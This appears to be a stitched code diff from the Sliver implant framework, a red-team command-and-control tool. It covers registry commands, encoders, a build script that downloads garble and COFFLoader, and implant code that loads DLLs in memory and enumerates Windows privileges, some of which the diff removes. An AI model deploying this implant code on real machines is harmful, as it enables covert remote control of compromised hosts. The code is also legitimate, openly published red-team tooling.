key := regPath[slashIndex+1:]
regPath = regPath[:slashIndex]
regRead, err := con.Rpc.RegistryRead(context.Background(), &sliverpb.RegistryReadReq{
Hive: hive,
Path: finalPath,
Path: regPath,
Key: key,
Hostname: hostname,
Request: con.ActiveSession.Request(ctx),
+4 -12
View File
@@ -71,17 +71,9 @@ func RegWriteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if strings.Contains(regPath, "/") {
regPath = strings.ReplaceAll(regPath, "/", "\\")
}
pathBaseIdx := strings.LastIndex(regPath, `\`)
if pathBaseIdx < 0 {
con.PrintErrorf("invalid path: %s", regPath)
return
}
if len(regPath) < pathBaseIdx+1 {
con.PrintErrorf("invalid path: %s", regPath)
return
}
finalPath := regPath[:pathBaseIdx]
key := regPath[pathBaseIdx+1:]
slashIndex := strings.LastIndex(regPath, "\\")
key := regPath[slashIndex+1:]
regPath = regPath[:slashIndex]
switch valType {
case sliverpb.RegistryTypeBinary:
var (
@@ -126,7 +118,7 @@ func RegWriteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Request: con.ActiveSession.Request(ctx),
Hostname: hostname,
Hive: hive,
Path: finalPath,
Path: regPath,
Type: valType,
Key: key,
StringValue: stringValue,
+1 -1
View File
@@ -199,7 +199,7 @@ func (con *SliverConsoleClient) EventLoop() {
if activeSession != nil && activeSession.ID == session.ID {
con.ActiveSession.Set(nil)
con.App.SetPrompt(con.GetPrompt())
con.Printf(Warn + "Active session disconnected\n")
con.Printf(Warn + " Active session disconnected\n")
}
con.Println()
}
+1 -9
View File
@@ -115,7 +115,6 @@ const (
UnsetStr = "unset"
SaveStr = "save"
ReloadStr = "reload"
LoadStr = "load"
LootStr = "loot"
LootLocalStr = "local"
@@ -175,8 +174,7 @@ const (
MigrateStr = "migrate"
SideloadStr = "sideload"
SpawnDllStr = "spawndll"
ExtensionStr = "extension"
LoadMacroStr = "load-macro"
LoadExtensionStr = "load-extension"
StageListenerStr = "stage-listener"
WebsitesStr = "websites"
@@ -207,12 +205,7 @@ const (
ReactionStr = "reaction"
HostsStr = "hosts"
IOCStr = "ioc"
LicensesStr = "licenses"
GetPrivsStr = "getprivs"
)
// Groups
@@ -221,6 +214,5 @@ const (
SliverHelpGroup = "Sliver:"
SliverWinHelpGroup = "Sliver - Windows:"
MultiplayerHelpGroup = "Multiplayer:"
MacroHelpGroup = "Sliver - 3rd Party macros:"
ExtensionHelpGroup = "Sliver - 3rd Party extensions:"
)
-13
View File
@@ -21,11 +21,9 @@
GO_VER="1.16.6"
GARBLE_VER="1.16.7"
COFF_LOADER_VER="1.0.4"
GO_ARCH_1="amd64"
GO_ARCH_2="arm64"
GO_ARCH_3="386"
BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc"
if ! [ -x "$(command -v curl)" ]; then
@@ -49,7 +47,6 @@ fi
REPO_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
OUTPUT_DIR=$REPO_DIR/server/assets/fs
CLIENT_OUTPUT_DIR=$REPO_DIR/client/assets/fs
WORK_DIR=`mktemp -d`
echo "-----------------------------------------------------------------"
@@ -133,10 +130,6 @@ cp -vv windows-go.zip $OUTPUT_DIR/windows/$GO_ARCH_1/go.zip
rm -rf ./go
rm -f windows-go.zip go$GO_VER.windows-$GO_ARCH_1.zip
# --- Client ---
mkdir -p $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_1
mkdir -p $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_3
echo "-----------------------------------------------------------------"
echo " Garble"
echo "-----------------------------------------------------------------"
@@ -145,12 +138,6 @@ curl -L --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/mo
curl -L --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1
curl -L --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
echo "-----------------------------------------------------------------"
echo " COFF Loader"
echo "-----------------------------------------------------------------"
curl -L --output $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_1/COFFLoader.x64.dll https://github.com/lesnuages/COFFLoader/releases/download/v$COFF_LOADER_VER/COFFLoader.x64.dll
curl -L --output $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_3/COFFLoader.x86.dll https://github.com/lesnuages/COFFLoader/releases/download/v$COFF_LOADER_VER/COFFLoader.x86.dll
# end
echo -e "clean up: $WORK_DIR"
rm -rf $WORK_DIR
-2
View File
@@ -24,7 +24,6 @@ require (
github.com/gorilla/mux v1.8.0
github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
github.com/hashicorp/go-multierror v1.1.1 // indirect
github.com/jedib0t/go-pretty/v6 v6.2.4
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-socks5 v0.0.0-20210409090601-adbe23bd0194
github.com/lesnuages/go-winio v0.4.19
@@ -41,7 +40,6 @@ require (
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
golang.org/x/text v0.3.6
golang.zx2c4.com/wireguard v0.0.20200121
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20200609130330-bd2cb7843e1b
google.golang.org/genproto v0.0.0-20210406143921-e86de6bf7a46 // indirect
+1 -7
View File
@@ -113,7 +113,6 @@ github.com/fatih/color v1.12.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGE
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568 h1:BHsljHzVlRcyQhjrss6TZTdY2VfCqZPbv5k3iBFa2ZQ=
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc=
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
github.com/fzipp/gocyclo v0.3.1/go.mod h1:DJHO6AUmbdqj2ET4Z9iArSuwWgYDRryYt2wASxc7x3E=
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u70Gtw93ZOu2UuPeeeTBDntF7FoY=
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo=
github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
@@ -262,8 +261,6 @@ github.com/jackc/puddle v0.0.0-20190608224051-11cab39313c9/go.mod h1:m4B5Dj62Y0f
github.com/jackc/puddle v1.1.0/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
github.com/jackc/puddle v1.1.1/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
github.com/jackc/puddle v1.1.2/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
github.com/jedib0t/go-pretty/v6 v6.2.4 h1:wdaj2KHD2W+mz8JgJ/Q6L/T5dB7kyqEFI16eLq7GEmk=
github.com/jedib0t/go-pretty/v6 v6.2.4/go.mod h1:+nE9fyyHGil+PuISTCrp7avEdo6bqoMwqZnuiK2r2a0=
github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
github.com/jinzhu/now v1.1.1 h1:g39TucaRWyV3dwDO++eEc6qf8TVIQ/Da48WmqjZ3i7E=
@@ -321,9 +318,8 @@ github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOA
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
github.com/mattn/go-isatty v0.0.13 h1:qdl+GuBjcsKKDco5BsxPJlId98mSWNKqYA+Co0SC1yA=
github.com/mattn/go-isatty v0.0.13/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
github.com/mattn/go-runewidth v0.0.7 h1:Ei8KR0497xHyKJPAv59M1dkC+rOZCMBJ+t3fZ+twI54=
github.com/mattn/go-runewidth v0.0.7/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/QdE+0=
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
github.com/mattn/go-sqlite3 v1.14.3/go.mod h1:WVKg1VTActs4Qso6iwGbiFih2UIHo0ENGwNd0Lj+XmI=
github.com/mattn/go-sqlite3 v1.14.5 h1:1IdxlwTNazvbKJQSxoJ5/9ECbEeaTTyeU7sEAZ5KKTQ=
github.com/mattn/go-sqlite3 v1.14.5/go.mod h1:WVKg1VTActs4Qso6iwGbiFih2UIHo0ENGwNd0Lj+XmI=
@@ -360,7 +356,6 @@ github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINE
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pkg/profile v1.2.1/go.mod h1:hJw3o1OdXxsrSjjVksARp5W95eeEaEfptyVZyv6JUPA=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI=
@@ -515,7 +510,6 @@ golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJ
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9 h1:SQFwaSi55rU7vdNs9Yr0Z324VNlrF+0wMqRXT4St8ck=
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sys v0.0.0-20180606202747-9527bec2660b/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180816055513-1c9583448a9c/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
@@ -1,8 +1,8 @@
package hosts
package encoders
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -19,23 +19,24 @@ package hosts
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
"encoding/base32"
)
// HostsRmCmd - Remove a host from the database
func HostsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
host, err := SelectHost(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
_, err = con.Rpc.HostRm(context.Background(), host)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Removed host from database\n")
// Base32EncoderID - EncoderID
const Base32EncoderID = 65
// Base32 Encoder
type Base32 struct{}
var base32Alphabet = "ab1c2d3e4f5g6h7j8k9m0npqrtuvwxyz"
var sliverBase32 = base32.NewEncoding(base32Alphabet)
// Encode - Base32 Encode
func (e Base32) Encode(data []byte) []byte {
return []byte(sliverBase32.EncodeToString(data))
}
// Decode - Base32 Decode
func (e Base32) Decode(data []byte) ([]byte, error) {
return sliverBase32.DecodeString(string(data))
}
+210
View File
@@ -0,0 +1,210 @@
package encoders
/*
MIT License
Copyright (c) 2019 Shawn Wang <[email protected]>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
-------------------------------------------------------------------------------
Modifications by moloch to work with Sliver
*/
import (
"math/bits"
"strconv"
)
const (
base = 62
compactMask = 0x1E // 00011110
mask5bits = 0x1F // 00011111
)
// Base62EncoderID - EncoderID
const Base62EncoderID = 43
// Base62 Encoder
type Base62 struct{}
var base62Alphabet = "aBCDEFGHIJKLMNOPQRSTUVWXYZAbcdefghijklmnopqrstuvwxyz0123456789"
// Encode - Base62 Encode
func (e Base62) Encode(data []byte) []byte {
return []byte(NewEncoding(base62Alphabet).EncodeToString(data))
}
// Decode - Base62 Decode
func (e Base62) Decode(data []byte) ([]byte, error) {
return NewEncoding(base62Alphabet).DecodeString(string(data))
}
type Base62Encoder struct {
encode [base]byte
decodeMap [256]byte
}
func NewEncoding(encoder string) *Base62Encoder {
if len(encoder) != base {
panic("encoding alphabet is not 62-bytes long")
}
for i := 0; i < len(encoder); i++ {
if encoder[i] == '\n' || encoder[i] == '\r' {
panic("encoding alphabet contains newline character")
}
}
e := new(Base62Encoder)
copy(e.encode[:], encoder)
for i := 0; i < len(e.decodeMap); i++ {
e.decodeMap[i] = 0xFF
}
for i := 0; i < len(encoder); i++ {
e.decodeMap[encoder[i]] = byte(i)
}
return e
}
func (enc *Base62Encoder) Encode(src []byte) []byte {
if len(src) == 0 {
return []byte{}
}
encoder := newEncoder(src)
return encoder.encode(enc.encode[:])
}
func (enc *Base62Encoder) EncodeToString(src []byte) string {
ret := enc.Encode(src)
return string(ret)
}
type encoder struct {
b []byte
pos int
}
func newEncoder(src []byte) *encoder {
return &encoder{
b: src,
pos: len(src) * 8,
}
}
func (enc *encoder) next() (byte, bool) {
var i, pos int
var j, blen byte
pos = enc.pos - 6
if pos <= 0 {
pos = 0
blen = byte(enc.pos)
} else {
i = pos / 8
j = byte(pos % 8)
blen = byte((i+1)*8 - pos)
if blen > 6 {
blen = 6
}
}
shift := 8 - j - blen
b := enc.b[i] >> shift & (1<<blen - 1)
if blen < 6 && pos > 0 {
blen1 := 6 - blen
b = b<<blen1 | enc.b[i+1]>>(8-blen1)
}
if b&compactMask == compactMask {
if pos > 0 || b > mask5bits {
pos++
}
b &= mask5bits
}
enc.pos = pos
return b, pos > 0
}
func (enc *encoder) encode(encTable []byte) []byte {
ret := make([]byte, 0, len(enc.b)*8/5+1)
x, hasMore := enc.next()
for {
ret = append(ret, encTable[x])
if !hasMore {
break
}
x, hasMore = enc.next()
}
return ret
}
type CorruptInputError int64
func (e CorruptInputError) Error() string {
return "illegal base62 data at input byte " + strconv.FormatInt(int64(e), 10)
}
func (enc *Base62Encoder) Decode(src []byte) ([]byte, error) {
if len(src) == 0 {
return []byte{}, nil
}
dec := decoder(src)
return dec.decode(enc.decodeMap[:])
}
func (enc *Base62Encoder) DecodeString(src string) ([]byte, error) {
return enc.Decode([]byte(src))
}
type decoder []byte
func (dec decoder) decode(decTable []byte) ([]byte, error) {
ret := make([]byte, len(dec)*6/8+1)
idx := len(ret)
pos := byte(0)
b := 0
for i, c := range dec {
x := decTable[c]
if x == 0xFF {
return nil, CorruptInputError(i)
}
if i == len(dec)-1 {
b |= int(x) << pos
pos += byte(bits.Len8(x))
} else if x&compactMask == compactMask {
b |= int(x) << pos
pos += 5
} else {
b |= int(x) << pos
pos += 6
}
if pos >= 8 {
idx--
ret[idx] = byte(b)
pos %= 8
b >>= 8
}
}
if pos > 0 {
idx--
ret[idx] = byte(b)
}
return ret[idx:], nil
}
+2 -2
View File
@@ -1,7 +1,5 @@
package encoders
import "encoding/base64"
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
@@ -20,6 +18,8 @@ import "encoding/base64"
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import "encoding/base64"
// Base64EncoderID - EncoderID
const Base64EncoderID = 13
-35
View File
@@ -1,35 +0,0 @@
package extension
import "errors"
var extensions map[string]Extension
type Extension interface {
Load() error
Call(exportName string, arguments []byte, callback func([]byte)) error
GetID() string
GetArch() string
}
func Add(e Extension) {
extensions[e.GetID()] = e
}
func List() []string {
var extList []string
for id := range extensions {
extList = append(extList, id)
}
return extList
}
func Run(extID string, funcName string, arguments []byte, callback func([]byte)) error {
if ext, found := extensions[extID]; found {
return ext.Call(funcName, arguments, callback)
}
return errors.New("{{if .Config.Debug}} extension not found{{end}}")
}
func init() {
extensions = make(map[string]Extension)
}
@@ -1,113 +0,0 @@
package extension
import (
"bytes"
"errors"
"syscall"
"unsafe"
// {{if .Config.Debug}}
"log"
// {{end}}
"golang.zx2c4.com/wireguard/tun/wintun/memmod"
)
const (
Success = 0
Failure = 1
)
type WindowsExtension struct {
id string
data []byte
module *memmod.Module
arch string
init string
onFinish func([]byte)
}
func NewWindowsExtension(data []byte, id string, arch string, init string) *WindowsExtension {
return &WindowsExtension{
id: id,
data: data,
arch: arch,
init: init,
}
}
func (w *WindowsExtension) GetID() string {
return w.id
}
func (w *WindowsExtension) GetArch() string {
return w.arch
}
func (w *WindowsExtension) Load() error {
var err error
w.module, err = memmod.LoadLibrary(w.data)
if err != nil {
return err
}
if w.init != "" {
initProc, errInit := w.module.ProcAddressByName(w.init)
if errInit == nil {
// {{if .Config.Debug}}
log.Printf("Calling %s\n", w.init)
// {{end}}
syscall.Syscall(initProc, 0, 0, 0, 0)
} else {
return errInit
}
}
return nil
}
func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([]byte)) error {
var (
argumentsPtr uintptr
argumentsSize uintptr
)
if w.module == nil {
return errors.New("{{if .Config.Debug}} module not loaded {{end}}")
}
w.onFinish = onFinish
callback := syscall.NewCallback(w.extensionCallback)
exportPtr, err := w.module.ProcAddressByName(export)
if err != nil {
return err
}
if len(arguments) > 0 {
argumentsPtr = uintptr(unsafe.Pointer(&arguments[0]))
argumentsSize = uintptr(uint32(len(arguments)))
}
// {{if .Config.Debug}}
log.Printf("Calling %s, arguments addr: 0x%08x, args size: %08x\n", export, argumentsPtr, argumentsSize)
// {{end}}
// The extension API must respect the following prototype:
// int Run(buffer char*, bufferSize uint32_t, goCallback callback)
// where goCallback = int(char *, int)
_, _, errNo := syscall.Syscall(exportPtr, 3, argumentsPtr, argumentsSize, callback)
if errNo != 0 {
return errors.New(errNo.Error())
}
return nil
}
// extensionCallback takes a buffer (char *) and its size (int) as parameters
// so we can pass data back to the Go process from the loaded DLL
func (w *WindowsExtension) extensionCallback(data uintptr, dataLen uintptr) uintptr {
outDataSize := int(dataLen)
outBuff := new(bytes.Buffer)
for i := 0; i < outDataSize; i++ {
b := (*byte)(unsafe.Pointer(uintptr(i) + data))
outBuff.WriteByte(*b)
}
//TODO: do somethig with outBuff
if outBuff.Len() > 0 {
w.onFinish(outBuff.Bytes())
}
return Success
}
+10 -164
View File
@@ -28,7 +28,6 @@ import (
"os/exec"
"syscall"
"github.com/bishopfox/sliver/implant/sliver/extension"
"github.com/bishopfox/sliver/implant/sliver/pivots"
"github.com/bishopfox/sliver/implant/sliver/priv"
"github.com/bishopfox/sliver/implant/sliver/registry"
@@ -62,21 +61,18 @@ var (
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgExecuteTokenReq: executeTokenHandler,
sliverpb.MsgGetPrivsReq: getPrivsHandler,
// Platform specific
sliverpb.MsgIfconfigReq: ifconfigHandler,
sliverpb.MsgScreenshotReq: screenshotHandler,
sliverpb.MsgSideloadReq: sideloadHandler,
sliverpb.MsgNetstatReq: netstatHandler,
sliverpb.MsgMakeTokenReq: makeTokenHandler,
sliverpb.MsgPsReq: psHandler,
sliverpb.MsgTerminateReq: terminateHandler,
sliverpb.MsgRegistryReadReq: regReadHandler,
sliverpb.MsgRegistryWriteReq: regWriteHandler,
sliverpb.MsgRegistryCreateKeyReq: regCreateKeyHandler,
sliverpb.MsgRegistrySubKeysListReq: regSubKeysListHandler,
sliverpb.MsgRegistryListValuesReq: regValuesListHandler,
sliverpb.MsgIfconfigReq: ifconfigHandler,
sliverpb.MsgScreenshotReq: screenshotHandler,
sliverpb.MsgSideloadReq: sideloadHandler,
sliverpb.MsgNetstatReq: netstatHandler,
sliverpb.MsgMakeTokenReq: makeTokenHandler,
sliverpb.MsgPsReq: psHandler,
sliverpb.MsgTerminateReq: terminateHandler,
sliverpb.MsgRegistryReadReq: regReadHandler,
sliverpb.MsgRegistryWriteReq: regWriteHandler,
sliverpb.MsgRegistryCreateKeyReq: regCreateKeyHandler,
// Generic
sliverpb.MsgPing: pingHandler,
@@ -92,11 +88,6 @@ var (
sliverpb.MsgPollIntervalReq: pollIntervalHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
// Extensions
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
sliverpb.MsgCallExtensionReq: callExtensionHandler,
sliverpb.MsgListExtensionsReq: listExtensionsHandler,
// {{if .Config.WGc2Enabled}}
// Wireguard specific
sliverpb.MsgWGStartPortFwdReq: wgStartPortfwdHandler,
@@ -502,148 +493,3 @@ func regCreateKeyHandler(data []byte, resp RPCResponse) {
data, err = proto.Marshal(createResp)
resp(data, err)
}
func regSubKeysListHandler(data []byte, resp RPCResponse) {
listReq := &sliverpb.RegistrySubKeyListReq{}
err := proto.Unmarshal(data, listReq)
if err != nil {
return
}
subKeys, err := registry.ListSubKeys(listReq.Hostname, listReq.Hive, listReq.Path)
regListResp := &sliverpb.RegistrySubKeyList{
Response: &commonpb.Response{},
}
if err != nil {
regListResp.Response.Err = err.Error()
} else {
regListResp.Subkeys = subKeys
}
data, err = proto.Marshal(regListResp)
resp(data, err)
}
func regValuesListHandler(data []byte, resp RPCResponse) {
listReq := &sliverpb.RegistryListValuesReq{}
err := proto.Unmarshal(data, listReq)
if err != nil {
return
}
regValues, err := registry.ListValues(listReq.Hostname, listReq.Hive, listReq.Path)
regListResp := &sliverpb.RegistryValuesList{
Response: &commonpb.Response{},
}
if err != nil {
regListResp.Response.Err = err.Error()
} else {
regListResp.ValueNames = regValues
}
data, err = proto.Marshal(regListResp)
resp(data, err)
}
func getPrivsHandler(data []byte, resp RPCResponse) {
createReq := &sliverpb.GetPrivsReq{}
err := proto.Unmarshal(data, createReq)
if err != nil {
return
}
privsInfo, err := priv.GetPrivs()
response_data := make([]*sliverpb.WindowsPrivilegeEntry, len(privsInfo))
/*
Translate the PrivilegeInfo structs into
sliverpb.WindowsPrivilegeEntry structs and put them in the data
that will go back to the server / client
*/
for index, entry := range privsInfo {
var currentEntry sliverpb.WindowsPrivilegeEntry
currentEntry.Name = entry.Name
currentEntry.Description = entry.Description
currentEntry.Enabled = entry.Enabled
currentEntry.EnabledByDefault = entry.EnabledByDefault
currentEntry.Removed = entry.Removed
currentEntry.UsedForAccess = entry.UsedForAccess
response_data[index] = &currentEntry
}
// Package up the response
getPrivsResp := &sliverpb.GetPrivs{
PrivInfo: response_data,
Response: &commonpb.Response{},
}
if err != nil {
getPrivsResp.Response.Err = err.Error()
}
data, err = proto.Marshal(getPrivsResp)
resp(data, err)
}
// Extensions
func registerExtensionHandler(data []byte, resp RPCResponse) {
registerReq := &sliverpb.RegisterExtensionReq{}
err := proto.Unmarshal(data, registerReq)
if err != nil {
return
}
ext := extension.NewWindowsExtension(registerReq.Data, registerReq.Name, registerReq.OS, registerReq.Init)
extension.Add(ext)
err = ext.Load()
registerResp := &sliverpb.RegisterExtension{
Response: &commonpb.Response{},
}
if err != nil {
registerResp.Response.Err = err.Error()
}
data, err = proto.Marshal(registerResp)
resp(data, err)
}
func callExtensionHandler(data []byte, resp RPCResponse) {
callReq := &sliverpb.CallExtensionReq{}
err := proto.Unmarshal(data, callReq)
if err != nil {
return
}
callResp := &sliverpb.CallExtension{
Response: &commonpb.Response{},
}
err = extension.Run(callReq.Name, callReq.Export, callReq.Args, func(out []byte) {
callResp.Output = out
data, err = proto.Marshal(callResp)
resp(data, err)
})
// Only send back synchronously if there was an error
if err != nil {
callResp.Response.Err = err.Error()
data, err = proto.Marshal(callResp)
resp(data, err)
}
}
func listExtensionsHandler(data []byte, resp RPCResponse) {
lstReq := &sliverpb.ListExtensionsReq{}
err := proto.Unmarshal(data, lstReq)
if err != nil {
return
}
exts := extension.List()
lstResp := &sliverpb.ListExtensions{
Response: &commonpb.Response{},
Names: exts,
}
data, err = proto.Marshal(lstResp)
resp(data, err)
}
+12 -24
View File
@@ -21,35 +21,23 @@ package hostuuid
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"golang.org/x/sys/windows/registry"
)
// Stored Format: {U-U-I-D}
var uuidKeyPath = "SYSTEM\\HardwareConfig"
var uuidKey = "LastConfig"
var uuid_keypath = "HKEY_LOCAL_MACHINE\\SYSTEM\\HardwareConfig"
var uuid_key = "LastConfig"
func GetUUID() string {
var uuidStr string
var err error
key, err := registry.OpenKey(registry.LOCAL_MACHINE, uuidKeyPath, registry.QUERY_VALUE)
if err == nil {
uuidStr, _, err = key.GetStringValue(uuidKey)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Failed to read reg key string value: %s", err)
// {{end}}
return ""
}
return uuidStr[1:37]
} else {
// {{if .Config.Debug}}
log.Printf("Failed to read reg key: %s", err)
// {{end}}
key, err := registry.OpenKey(registry.CURRENT_USER, uuid_keypath, registry.QUERY_VALUE)
if err != nil {
return ""
}
return ""
str, _, err := key.GetStringValue(uuid_key)
if err != nil {
return ""
}
return str[1:37]
}
-171
View File
@@ -26,8 +26,6 @@ import (
"log"
// {{end}}
"bytes"
"encoding/binary"
"fmt"
"os/exec"
"runtime"
@@ -45,15 +43,6 @@ const (
THREAD_ALL_ACCESS = windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xffff
)
type PrivilegeInfo struct {
Name string
Description string
Enabled bool
EnabledByDefault bool
Removed bool
UsedForAccess bool
}
var CurrentToken windows.Token
func SePrivEnable(s string) error {
@@ -339,163 +328,3 @@ func GetSystem(data []byte, hostingProcess string) (err error) {
}
return
}
func lookupPrivilegeNameByLUID(luid uint64) (string, string, error) {
/*
We will need the LookupPrivilegeNameW and LookupPrivilegeDisplayNameW functions
https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-lookupprivilegenamew
https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-lookupprivilegedisplaynamew
Defined these syscalls in implant/sliver/syscalls/syscalls_windows.go and generated them with
mkwinsyscall, so we are good to go.
*/
// Allocate 256 wide unicode characters (uint16) for the both names (255 characters plus a null terminator)
nameBuffer := make([]uint16, 256)
nameBufferSize := uint32(len(nameBuffer))
displayNameBuffer := make([]uint16, 256)
displayNameBufferSize := uint32(len(displayNameBuffer))
// A blank string for the system name tells the call to use the local machine
systemName := ""
/*
A language ID that gets returned from LookupPrivilegeDisplayNameW
We do not need it for anything, but we still need to provide it
*/
var langID uint32
err := syscalls.LookupPrivilegeNameW(systemName, &luid, &nameBuffer[0], &nameBufferSize)
if err != nil {
return "", "", err
}
err = syscalls.LookupPrivilegeDisplayNameW(systemName, &nameBuffer[0], &displayNameBuffer[0], &displayNameBufferSize, &langID)
if err != nil {
// We already got the privilege name, so we might as well return that
return syscall.UTF16ToString(nameBuffer), "", err
}
return syscall.UTF16ToString(nameBuffer), syscall.UTF16ToString(displayNameBuffer), nil
}
func GetPrivs() ([]PrivilegeInfo, error) {
// A place to store the process token
var tokenHandle syscall.Token
// A place to put the size of the token information
var tokenInfoBufferSize uint32
// Get a handle for the current process
currentProcHandle, err := syscall.GetCurrentProcess()
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not get a handle for the current process: ", err)
// {{end}}
return nil, err
}
